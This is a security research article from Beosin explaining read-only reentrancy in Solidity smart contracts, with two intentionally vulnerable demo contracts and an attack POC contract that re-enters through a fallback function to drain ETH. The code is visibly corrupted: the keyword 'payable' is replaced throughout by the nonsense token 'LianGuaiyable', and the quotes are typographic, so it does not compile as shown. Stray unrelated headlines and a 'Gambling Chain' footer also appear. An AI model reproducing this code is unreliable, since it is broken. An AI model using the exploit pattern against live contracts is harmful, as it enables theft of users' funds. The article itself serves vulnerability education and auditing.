This article is written by Sivan, a security research expert at Beosin.
Recently, there have been several reentrancy attack incidents in the blockchain ecosystem. These attacks are not like the reentrancy vulnerabilities we were previously familiar with, but rather read-only reentrancy attacks that occur when there is a reentrancy lock in the project.
In today’s essential security audit knowledge, the Beosin security research team will explain what a “read-only reentrancy attack” is.
- The Demise of Saddle Finance From a Strong Competitor to Liquidation and Shutdown of Operations
- Analysis of the Full Chain Game Core MUD Engine and World Engine
- All In’ is a hit, and the blockchain is even ‘darker
What situations can lead to reentrancy vulnerability risks?
In the process of Solidity smart contract programming, it is allowed for one smart contract to call the code of another smart contract. In the business design of many projects, it is necessary to send ETH to a certain address. However, if the ETH receiving address is a smart contract, the fallback function of the smart contract will be called. If a malicious user writes carefully crafted code in the fallback function of the contract, there may be a risk of reentrancy vulnerability.
An attacker can make a new call to the project contract in the fallback function of a malicious contract. At this time, the first call process has not ended, and some variables have not been changed. In this case, the second call will cause the project contract to use abnormal variables for related calculations or allow the attacker to bypass some check restrictions.
In other words, the root cause of the reentrancy vulnerability is that executing a transfer and then calling a certain interface of the target contract results in the checks being bypassed because the ledger changes occur after calling the target contract, rather than strictly following the check-effect-interaction mode of design. Therefore, in addition to Ethereum transfers causing reentrancy vulnerabilities, improper design can also lead to reentrancy attacks, such as the following examples:
1. Calling controllable external functions can lead to possible reentrancy
2. ERC721/1155 security-related functions can lead to reentrancy
Currently, reentrancy attacks are a common vulnerability, and most blockchain project developers are aware of the risks of reentrancy attacks. The projects generally set reentrancy locks, preventing any function with the same reentrancy lock from being called again during the process of calling a function with a reentrancy lock. Although reentrancy locks can effectively prevent the above reentrancy attacks, there is still a type of attack called “read-only reentrancy” that is difficult to defend against.
What is the “read-only reentrancy” that is difficult to defend against?
As mentioned above, we introduced common types of reentrancy, which are based on using abnormal states to calculate new states after reentrancy, resulting in abnormal state updates. However, if the function we call is a view function with the “view” modifier, the function does not modify any state. After the function call, it does not have any impact on this contract. Therefore, project developers do not pay much attention to the risk of reentrancy for such functions and do not add reentrancy locks to them.
Although functions modified by view generally do not affect the contract itself, there is another situation where a contract may call the view function of another contract as a data dependency, and that contract’s view function does not have a reentrancy lock, which may result in the risk of read-only reentrancy.
For example, in a project A contract, tokens can be staked and withdrawn, and the contract provides a function to query the price based on the total supply of contract tokens and the total staked amount. There is a reentrancy lock between staking and withdrawal, but the query function does not have a reentrancy lock. There is another project B that provides staking and withdrawal functions, and there is a reentrancy lock between staking and withdrawal. Both staking and withdrawal functions rely on the price query function of project A to calculate the token amount.
There is a risk of read-only reentrancy between the two projects, as shown in the following figure:
1. The attacker stakes and withdraws tokens in Contract A.
2. Withdrawing tokens calls the fallback function of the attacker’s contract.
3. The attacker calls the staking function of Contract B again in their contract.
4. The staking function calls the price calculation function of Contract A, but the state of Contract A has not been updated at this point, resulting in an incorrect price calculation and more token amounts being sent to the attacker.
5. After the reentrancy ends, the state of Contract A is updated.
6. Finally, the attacker calls Contract B to withdraw tokens.
7. At this time, the data obtained by Contract B has been updated, and more tokens can be withdrawn.
Code Analysis
We will use the following demo as an example to explain the read-only reentrancy issue. The following code is only for testing purposes and does not have any real business logic. It is only used as a reference for studying read-only reentrancy.
Write the Contract A contract:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentrancy lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calculate the staking value based on the total supply of contract tokens and the staked amount with a precision of 10e8. **/ function get_price() public view virtual returns (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /** * Stake by users, increase the staked amount and provide contract tokens. **/ function deposit() public LianGuaiyable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; _totalSupply+=mintamount; } /** * Withdraw by users, decrease the staked amount and burn the total amount of contract tokens. **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; LianGuaiyable(msg.sender).call{value:sendamount}(“”); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount; }}
Deploy the Contract A contract and stake 50 ETH to simulate that the project is already in operation.
Write ContractB contract (depending on the get_price function of ContractA contract):
pragma solidity ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens, calculate the value of pledged tokens based on the get_price() function of the ContractA contract, and calculate the quantity of voucher tokens **/ function depositFunds() public LianGuaiyable noreentrancy(){ uint256 mintamount=msg.value*contract_a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Withdraw tokens, calculate the value of voucher tokens based on the get_price() function of the ContractA contract, and calculate the quantity of tokens to be withdrawn **/ function withdrawFunds(uint256 burnamount) public LianGuaiyable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender.call{value:amount}(“”); } function balanceof(address acount)public view returns (uint256){ return _balances[acount]; }}
Deploy the ContractB contract and set the ContractA address, and pledge 30 ETH. The simulation project is already in running state.
Write the attack POC contract:
pragma solidity ^0.8.21;interface ContractA { function deposit() external LianGuaiyable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external LianGuaiyable; function withdrawFunds(uint256 amount) external; function balanceof(address acount)external view returns (uint256);}contract POC { ContractA contract_a; ContractB contract_b; address LianGuaiyable _owner; uint flag=0; uint256 depositamount=30 ether; constructor() LianGuaiyable{ _owner=LianGuaiyable(msg.sender); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA(_contracta); contract_b=ContractB(_contractb); } /** * Function called at the beginning of the attack, add liquidity, remove liquidity, and finally withdraw tokens. **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this))); } /** * Pledge function called during reentry. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * After the attack ends, withdraw ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * Callback function, key to reentry. **/ fallback()LianGuaiyable external { if(msg.sender==address(contract_a)){ deposit(); } }}
Deploy the attack contract with another EOA account, transfer 50 ETH, and set the ContractA and ContractB addresses.
Pass in 50000000000000000000 (50*10^18) to the start function and execute it, and find that the 30 ETH of ContractB has been transferred by the POC contract.
Call the getEther function again, and the attacker’s address gains 30 ETH.
Code Invocation Process Analysis:
The start function first calls the deposit function of ContractA contract to mortgage ETH. The attacker passes in 50*10^18, plus the initial 50*10^18 owned by the contract. At this time, _allstake and _totalSupply are both 100*10^18.
Next, the withdraw function of the ContractA contract is called to extract tokens. The contract first updates _allstake and sends 50 ETH to the attacking contract. At this time, the fallback function of the attacking contract will be called, and finally _totalSupply will be updated.
In the fallback function, the attacking contract calls the ContractB contract to pledge 30 ETH. Since get_price is a view function, the ContractB contract successfully re-enters the get_price function of ContractA. At this time, _totalSupply is still 100*10^18 because it has not been updated yet, but _allstake has been reduced to 50*10^18, so the returned value here will be doubled. It will increase the attacking contract’s credentials by 60*10^18.
After the re-entry is completed, the attacking contract calls the ContractB contract to withdraw ETH. At this time, _totalSupply has been updated to 50*10^18, and the same amount of ETH as the credentials will be calculated. It transfers 60 ETH to the attacking contract. In the end, the attacker gains 30 ETH.
Beosin Security Advice
For the above security issue, the Beosin security team advises: for projects that rely on other projects as data support, the security of the combined business logic of the dependent project and the project itself should be strictly checked. In the case where both projects appear to be fine individually, serious security issues may arise when combined.
Like what you're reading? Subscribe to our top stories.
We will continue to update Gambling Chain; if you have any questions or suggestions, please contact us!